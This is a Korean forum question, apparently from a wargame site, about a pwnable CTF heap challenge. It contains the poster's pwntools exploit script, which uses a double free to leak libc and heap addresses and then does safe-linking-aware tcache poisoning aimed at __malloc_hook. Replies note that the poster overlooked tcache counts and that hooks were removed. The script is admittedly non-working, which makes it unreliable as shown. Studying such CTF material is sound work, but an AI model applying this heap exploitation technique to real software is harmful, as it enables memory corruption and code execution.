완료됨
문제 풀이 관련 질문드립니다.

문제 풀이 중 정말 이해가 안 가는 부분이 있어서 질문드립니다.

일단, 문제 속 핵심 취약점으로 보이는 부분은 금방 찾았고, 이 취약점을 이용해서 libc base랑 heap base까지 얻는 것은 성공했습니다.

그리고, 얻은 주소를 이용해서 해제된 메모리의 fd를 조작해서 현재 할당된 메모리 주소로 조작한 뒤에, 그 할당된 메모리 주소를 free 시켜서 아래 사진과 같이 메모리가 서로 연결되게 구현하였습니다.
image.png
이렇게 되면, 동일한 청크가 연결된 부분이 후에 계속 할당될 때는 할당된 메모리이면서 해제된 메모리이기 때문에 AAW가 일어나야 할 것 같은데, 그런 현상이 일어나지 않았습니다.

어디서부터 잘못된 것인지 정말 궁금합니다.
아래 코드는 제가 익스플로잇할 때 사용했던 코드입니다.

from pwn import *
#p = remote('host3.dreamhack.games', 20564)
p = process('./prob', env={'LD_PRELOAD' : './libc.so.6'})
libc = ELF('./libc.so.6')
def malloc(idx, name_size, name, content):
    p.sendlineafter('> ', str(1))
    p.sendlineafter('> ', str(idx))
    p.sendlineafter('> ', str(name_size))
    p.sendlineafter('> ', name)
    p.sendlineafter('> ', content)

def free(idx):
    p.sendlineafter('> ', str(2))
    p.sendlineafter('> ', str(idx))

def edit(idx, name_content, content):
    p.sendlineafter('> ', str(3))
    p.sendlineafter('> ', str(idx))
    p.sendafter('> ', name_content)
    p.sendafter('> ', content)

def print_content(idx):
    p.sendlineafter('> ', str(4))
    p.sendlineafter('> ', str(idx))
    p.recvuntil('name : ')
    libc_content = p.recvline()[:-1]
    print('[+] Name_Content:', libc_content)
    p.recvuntil('content : ')
    heap_content = p.recvline()[:-1]
    print('[+] Content:', heap_content)
    return u64(libc_content + b'\x00'*2), u64(heap_content + b'\x00' * 3)

def encrypt_base(heap_base, address):
    return address ^ (heap_base >> 12)
malloc(0, 1280, "a", "a")
malloc(1, 64, "a", "a")
free(0)
free(0)

libcf, heap_base = print_content(0)
libc_base = libcf - 0x21dce0
libc_base += 0x3000
heap_base *= 0x1000
free_hook = libc_base + libc.symbols['__malloc_hook']
one_gadget = libc_base + 0xebc81
print('[+] Libc_base =', hex(libc_base))
print('[+] Heap_base =', hex(heap_base))

#next_chunk = encrypt_base(heap_base, heap_base + 0x8e0)
next_chunk2 = encrypt_base(heap_base, heap_base + 0x920)

free(1)
free(1)
edit(0, p64(libcf), p64(next_chunk2))
malloc(1, 64, "a", p64(free_hook))
malloc(1, 64, "a", "a")
malloc(1, 64, "A", "a")
malloc(1, 64, "a", "A")
pause()
p.interactive()
#pwnable
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 3
avatar
wyv3rn
무플 방지 위원회장
avatar
wyv3rn
무플 방지 위원회장

libc 버전이 높아 tcache count를 고려하셔야합니다.
더불어 마찬가지 이유로 hook은 더이상 사용이 불가능합니다.

2025.06.27. 12:08
avatar
wyv3rn
무플 방지 위원회장
avatar
wyv3rn
무플 방지 위원회장

네. 저는 단순히 tcach poisoning으로 풀었습니다.

2025.06.27. 14:02
avatar
wyv3rn
무플 방지 위원회장
avatar
wyv3rn
무플 방지 위원회장

다른 방법도 있겠지만 저는 종료 함수쪽을 노렸습니다 :)

2025.06.27. 23:07